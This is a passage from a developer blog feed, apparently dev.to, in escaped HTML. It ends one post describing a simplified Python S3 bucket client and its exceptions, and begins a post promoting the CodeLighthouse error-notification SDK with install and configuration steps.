&lt;/h3&gt;

&lt;p&gt;To access your S3 buckets, you're going to need an AWS secret access key ID, and the AWS secret access key. I wrote a method that you can pass these to in order to configure the client so that you can use your buckets. I &lt;em&gt;strongly&lt;/em&gt; suggest &lt;em&gt;not&lt;/em&gt; hard-coding these values in your code, since doing so can create security vulnerabilities and is bad practice. Instead, I recommend storing them in environment variables and using the &lt;code&gt;os&lt;/code&gt; module to fetch them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;s3_bucket&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="c1"&gt;# get your key data from environment variables
&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# initialize the package
&lt;/span&gt;&lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Using the S3 Client
&lt;/h2&gt;

&lt;p&gt;I designed the S3 Client's API to be logically similar to how AWS structures S3 buckets. Instead of messing around with botocore's &lt;code&gt;Client&lt;/code&gt;, &lt;code&gt;Resource&lt;/code&gt;, &lt;code&gt;Session&lt;/code&gt;, and &lt;code&gt;Object&lt;/code&gt; APIs, there is one, simple API: the &lt;code&gt;Bucket&lt;/code&gt; API.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Bucket API
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Bucket&lt;/code&gt; API is simple and provides most of the basic methods you'd want to use for an S3 bucket. Once you've initialized the S3 client with the keys as described in the previous section, you can initialize a &lt;code&gt;Bucket&lt;/code&gt; object by passing it a bucket name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;your bucket name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#example
&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;my-website-data&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you've done that, it's smooth sailing - you can use any of the following methods:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bucket.get(key)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;returns a two-tuple containing the &lt;code&gt;bytes&lt;/code&gt; of the object and a &lt;code&gt;Dict&lt;/code&gt; containing the object's metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bucket.put(key, data, metadata=metadata)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;upload &lt;code&gt;data&lt;/code&gt; as an object with &lt;code&gt;key&lt;/code&gt; as the object's key. &lt;code&gt;data&lt;/code&gt; can be either a &lt;code&gt;str&lt;/code&gt; type &lt;em&gt;or&lt;/em&gt; a &lt;code&gt;bytes&lt;/code&gt; type. &lt;code&gt;metadata&lt;/code&gt; is an optional argument that should be a &lt;code&gt;Dict&lt;/code&gt; containing metadata to store with the object.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bucket.delete(key)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;delete the object in the bucket specified by &lt;code&gt;key&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bucket.upload_file(local_filepath, key)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Upload the file specified by &lt;code&gt;local_filepath&lt;/code&gt; to the bucket with &lt;code&gt;key&lt;/code&gt; as the object's key.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bucket.download_file(key, local_filepath)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the object specified by &lt;code&gt;key&lt;/code&gt; from the bucket and store it in the local file &lt;code&gt;local_filepath&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Custom Exceptions
&lt;/h3&gt;

&lt;p&gt;As I mentioned earlier, the way that botocore raises exceptions is somewhat arcane. Instead of raising different types of exceptions to indicate different types of problems, it throws one type of exception that contains properties that you must use to determine what went wrong. It's really obtuse, and a bad design pattern.&lt;/p&gt;

&lt;p&gt;Instead of relying on your client code to decipher botocore's exceptions, I wrote custom exception classes that you can use to handle most common types of S3 errors. &lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Exception&lt;/th&gt;
&lt;th&gt;Cause&lt;/th&gt;
&lt;th&gt;Properties&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BucketException&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;super&lt;/code&gt; class for all other Bucket exceptions. Can be used to generically catch exceptions raised by the API.&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bucket&lt;/code&gt;, &lt;code&gt;message&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NoSuchBucket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Raised if you try to access a bucket that does not exist.&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bucket&lt;/code&gt;, &lt;code&gt;key&lt;/code&gt;, &lt;code&gt;message&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NoSuchKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Raised if you try to access an object that does not exist within an existing bucket.&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bucket&lt;/code&gt;, &lt;code&gt;key&lt;/code&gt;, &lt;code&gt;message&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BucketAccessDenied&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS denied access to the bucket you tried to access. It may not exist, or you may not have permission to access it.&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bucket&lt;/code&gt;, &lt;code&gt;message&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UnknownBucketException&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Botocore threw an exception which this client was not programmed to handle.&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bucket&lt;/code&gt;, &lt;code&gt;error_code&lt;/code&gt;, &lt;code&gt;error_message&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To use these exceptions, you can do the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;my-bucket-name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;some key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NoSuchBucket&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# some error handling here
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Examples
&lt;/h2&gt;

&lt;p&gt;Below I've provided an example of a couple of use cases for the S3 client.&lt;/p&gt;

&lt;h3&gt;
  
  
  Uploading and downloading files
&lt;/h3&gt;

&lt;p&gt;This example shows how to upload and download files to/from your S3 bucket&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;s3_bucket&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="c1"&gt;# get your key data from environment variables
&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# initialize the package
&lt;/span&gt;&lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# initialize a bucket
&lt;/span&gt;&lt;span class="n"&gt;my_bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;my-bucket&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# UPLOAD A FILE
&lt;/span&gt;&lt;span class="n"&gt;my_bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upload_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/tmp/file_to_upload.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;myfile.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;my_bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;myfile.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/tmp/destination_filename.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Storing and retrieving large blobs of text
&lt;/h3&gt;

&lt;p&gt;The reason that I originally built this client was to handle storing and retrieving large blobs of JSON data that were way to big to store in my database. The below example shows you how to do that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;s3_bucket&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="c1"&gt;# get your key data from environment variables
&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# initialize the package
&lt;/span&gt;&lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# initialize a bucket
&lt;/span&gt;&lt;span class="n"&gt;my_bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;my-bucket&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# some json string
&lt;/span&gt;&lt;span class="n"&gt;my_json_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;: 1, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;: 2}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# an example json string
&lt;/span&gt;
&lt;span class="n"&gt;my_bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;json_data_1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;my_json_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;my_bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;json_data_1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;I hope that you find this as useful as I did! Let me know what you think in the comments below.&lt;/p&gt;

&lt;p&gt;If you're writing code for cloud applications, you need to go when things go wrong. I built &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;CodeLighthouse&lt;/a&gt; to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt; today!&lt;/p&gt;

</description>
      <category>python</category>
      <category>aws</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Set up real-time error notifications for your python applications in 15 minutes or less</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Wed, 16 Dec 2020 15:24:33 +0000</pubDate>
      <link>https://dev.to/kmistele/set-up-real-time-error-notifications-for-your-python-applications-in-15-minutes-or-less-1ka</link>
      <guid>https://dev.to/kmistele/set-up-real-time-error-notifications-for-your-python-applications-in-15-minutes-or-less-1ka</guid>
      <description>&lt;h2&gt;
  
  
  What happens when things go bump in the night?
&lt;/h2&gt;

&lt;p&gt;What happens when your cloud-based python application runs into an error that affects your users? Do you get notified? If you want your users to stay your users and not become your competitor's users, it's crucial to have a monitoring and notification system in place. Today I'm going to show you how to set up a solution for just that in 15 minutes or less.&lt;/p&gt;

&lt;p&gt;Cloud technologies have plenty of advantages, but they have plenty of disadvantages too. One particular issue that I have spent more time on than I care to admit is hunting down errors. The distributed and decentralized nature of today's cloud-based applications can make identifying errors hard, and finding the root cause even harder. &lt;/p&gt;

&lt;p&gt;A friend and I were using python with serverless tech to build microservices, and I frequently found myself having to dig through a dozen different logs before I could figure out where the error actually happened—if I even noticed that it had happened at all.&lt;/p&gt;

&lt;p&gt;That's why we built &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt; - to help developers find and fix errors faster. &lt;/p&gt;

&lt;p&gt;Today I'm going to show you how you can use &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt; to get real-time application error notifications sent straight to developers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;

&lt;p&gt;CodeLighthouse works by plugging a Python SDK into your code that automatically catches uncaught exceptions. The SDK also provides some other neat functionalities that I'll review more in-depth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing the CodeLighthouse SDK
&lt;/h3&gt;

&lt;p&gt;Our SDK is hosted on &lt;a href="https://pypi.org/project/CodeLighthouse" rel="noopener noreferrer"&gt;PyPi&lt;/a&gt;, and you can find detailed documentation on our &lt;a href="https://docs.codelighthouse.io" rel="noopener noreferrer"&gt;docs site&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Installing the SDK with Pip couldn't be easier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install codelighthouse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're using Pip for your dependency management, you'll probably also want to add our package to your &lt;code&gt;requirements.txt&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip freeze &amp;gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting your API Key
&lt;/h3&gt;

&lt;p&gt;To get started with the SDK, you'll need to &lt;a href="https://codelighthouse.io/#pricing" rel="noopener noreferrer"&gt;sign up for a free account&lt;/a&gt; at &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt;. Once you sign up, you'll be redirected to your &lt;a href="https://codelighthouse.io/admin/organization" rel="noopener noreferrer"&gt;admin dashboard&lt;/a&gt; where you can find the organization name you signed up with and your API key: &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F16ioeoa08k52mku9byks.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F16ioeoa08k52mku9byks.png" alt="admin_organization_dashboard"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go ahead and note both of these down. We recommend copying/pasting the API key straight from the admin panel to avoid typing errors, and we provided a handy link right below it to do exactly that.&lt;/p&gt;
&lt;h3&gt;
  
  
  Configuring the SDK
&lt;/h3&gt;

&lt;p&gt;Importing and configuring the SDK is super easy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# IMPORT CODELIGHTHOUSE
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;codelighthouse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CodeLighthouse&lt;/span&gt;

&lt;span class="c1"&gt;# INSTANTIATE THE ERROR CATCHER
&lt;/span&gt;&lt;span class="n"&gt;lighthouse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CodeLighthouse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;organization_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;your organization name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;x_api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;your API Key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;default_email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;the email you signed up with&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;resource_group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;serverless-applications&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;notifications-app&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that your &lt;code&gt;organization_name&lt;/code&gt; and &lt;code&gt;x_api_key&lt;/code&gt; are the values you copied down earlier. You can find them in your admin panel &lt;a href="https://codelighthouse.io/admin/organization" rel="noopener noreferrer"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;default_email&lt;/code&gt; should be the email address you signed up with. &lt;/p&gt;

&lt;h3&gt;
  
  
  Inviting Users
&lt;/h3&gt;

